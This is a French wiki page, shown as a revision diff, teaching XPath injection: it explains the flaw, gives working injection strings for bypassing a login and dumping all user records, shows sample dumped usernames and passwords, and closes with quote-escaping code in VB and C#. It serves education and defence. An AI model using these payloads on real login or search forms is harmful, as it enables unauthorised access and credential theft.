Outils pour utilisateurs

Outils du site


web:injection_xpath

Différences

Ci-dessous, les différences entre deux révisions de la page.

Lien vers cette vue comparative

Prochaine révision
Révision précédente
Prochaine révision Les deux révisions suivantes
web:injection_xpath [2016/03/15 08:57]
yorin créée
web:injection_xpath [2016/04/15 10:10]
arkinar
Ligne 1: Ligne 1:
-__**1) XPATH Authentification**__+**Faille XPath Injection** 
 + 
 +**1.Présentation de la Vulnérabilité ** 
 + 
 +Le principe d'une injection XPath est proche de celui d'une injection SQL. Cela arrive lorsqu'​un site utilise des informations que l'​utilisateur entre pour construire une requête de donnée XML. En envoyant des informations mal formées (de façon intentionnelleil est possible de bypasser des authentifications ou atteindre des données normalement inaccessible. 
 + 
 +**2.Exploit ** 
 + 
 +__2.1 XPATH Authentification__
  
 **Le code :** **Le code :**
Ligne 7: Ligne 15:
 Maintenant, notre but est d'​utiliser un tweak sur les valeurs username et password pour renvoyer une réponse **TRUE** et bypasser l'​authentification. Maintenant, notre but est d'​utiliser un tweak sur les valeurs username et password pour renvoyer une réponse **TRUE** et bypasser l'​authentification.
  
-Une partie ​découvrir, c'est le noeud courant. Pour rappel la sémantique d'une Xpath est Un axe, un noeud, des prédicats. Ici notre noeud est username:+Une partie ​à découvrir, c'est le noeud courant. Pour rappel la sémantique d'une Xpath est Un axe, un noeud, des prédicats. Ici notre noeud est username:
 Pour tester : Pour tester :
 <​code>​ username='​ or '​1'​='​1 </​code>​ <​code>​ username='​ or '​1'​='​1 </​code>​
  
-username est le nom de la variable renvoyé par le formulaire, on ferme ensuite la chaîne de caractères avec ' puis on ajoute une vérité :+username est le nom de la variable renvoyé par le formulaire, on ferme ensuite la chaîne de caractères avec **'** puis on ajoute une vérité :
 **or '​1'​='​1** ​ **or '​1'​='​1** ​
 On n'​ajoute pas de **'** , $xpath s'en charge pour nous. On n'​ajoute pas de **'** , $xpath s'en charge pour nous.
Ligne 20: Ligne 28:
  
 Se connecter avec le premier utilisateur : <​code>​ username='​ or '​1'​='​1&​password='​ or '​1'​='​1 </​code>​ Se connecter avec le premier utilisateur : <​code>​ username='​ or '​1'​='​1&​password='​ or '​1'​='​1 </​code>​
-Cette requête renverra TRUE, nous serons donc loggé avec la première ​utilisateur de la liste, ici FrankyVincent. ​+Cette requête renverra TRUE, nous serons donc loggé avec le premier ​utilisateur de la liste, ici FrankyVincent. ​
 Si vous suivez un peu, vous voyez déjà que l'on peut bypasser le password par une fermeture en plus ! Voici: Si vous suivez un peu, vous voyez déjà que l'on peut bypasser le password par une fermeture en plus ! Voici:
  
Ligne 31: Ligne 39:
 Ainsi, si nous chainons deux or, le prédicat est stoppé avant password bypassant ainsi l'​utilisation d'un mot de passe. L'​utilité ? Se logger en admin par exemple Ainsi, si nous chainons deux or, le prédicat est stoppé avant password bypassant ainsi l'​utilisation d'un mot de passe. L'​utilité ? Se logger en admin par exemple
  
-username=admin'​ or '​1'​='​1'​ or ''​='&​password=+<​code> ​username=admin'​ or '​1'​='​1'​ or ''​='&​password= ​</​code>​
  
- +__2.2 Injection string:__
-__**2Injection string:**__+
  
 Ce type d'​injection est possible sur un champs de recherche d'​utilisateur par exemple. ​ Ce type d'​injection est possible sur un champs de recherche d'​utilisateur par exemple. ​
-Nous cherchons a créer une erreur avec ' )' ce qui renverra :+Nous cherchons a créer une erreur avec **' )'** ce qui renverra :
  
 <​code>​ Invalid XPath syntax : //​username/​user[contains(.,​ ''​ )')] </​code>​ <​code>​ Invalid XPath syntax : //​username/​user[contains(.,​ ''​ )')] </​code>​
Ligne 55: Ligne 62:
 Cela listera les username : Cela listera les username :
  
-**5 results+  * **5 results ​found**
  
-FrankyVincent +  * **FrankyVincent** 
-admin +  * **admin** 
-Babar +  * **Babar** 
-Tigrou +  * **Tigrou** 
-Carlos**+  * **Carlos**
  
 C'est jolie tout ça mais, nous on veut du mdp ! Remontons d'un cran ! C'est jolie tout ça mais, nous on veut du mdp ! Remontons d'un cran !
Ligne 71: Ligne 78:
 L'​injection : <​code>​ username='​)]/​../​*[('​1'​='​1 </​code>​ renverra: L'​injection : <​code>​ username='​)]/​../​*[('​1'​='​1 </​code>​ renverra:
  
-**1 +  * **1** 
-FrankyVincent +  * **FrankyVincent** 
-FruitDeL@Passion +  * **FruitDeL@Passion** 
-Cousin@cousinealui.com +  * **Cousin@cousinealui.com** 
-+  * **2** 
-admin +  * **admin** 
-Sup3rM0tD3p@sseD30uf +  * **Sup3rM0tD3p@sseD30uf** 
-admin@xpathpwnd.com +  * **admin@xpathpwnd.com** 
-admin+  * **admin** 
 + 
 +  * **[...]** 
 + 
 +  * **Carlos@decede.fr** 
 +  * **Décédé** 
 + 
 +**3.Comment s'en protéger** 
 + 
 +Tout comme les injections SQL il faut echapper les inputs utilisateurs et "​reconstruire"​ la requête après envoi. Il faut donc échapper la quote (') afin d'​empêcher la fermeture de notre requête. Ici, toutes les ' seront remplacées par la version XML encoded à savoir "&​apos;"​. 
 + 
 +<​code>​ 
 +VB: 
 +Dim FindUserXPath as String 
 +FindUserXPath = "//​Employee[UserName/​text()='"​ & Request("​Username"​).Replace("'",​ "&​apos;"​) & "'​ And  
 +        Password/​text()='"​ & Request("​Password"​).Replace("'",​ "&​apos;"​) & "'​]"​
  
-[...]+C#: 
 +String FindUserXPath;​ 
 +FindUserXPath = "//​Employee[UserName/​text()='"​ + Request("​Username"​).Replace("'",​ "&​apos;"​) + "'​ And  
 +        Password/​text()='"​ + Request("​Password"​).Replace("'",​ "&​apos;"​) + "'​]"; 
 +</​code>​
  
-Carlos@decede.fr +source : [[https://​www.owasp.org/​index.php/​XPATH_Injection]]
-Décédé**+
web/injection_xpath.txt · Dernière modification: 2016/07/04 08:38 (modification externe)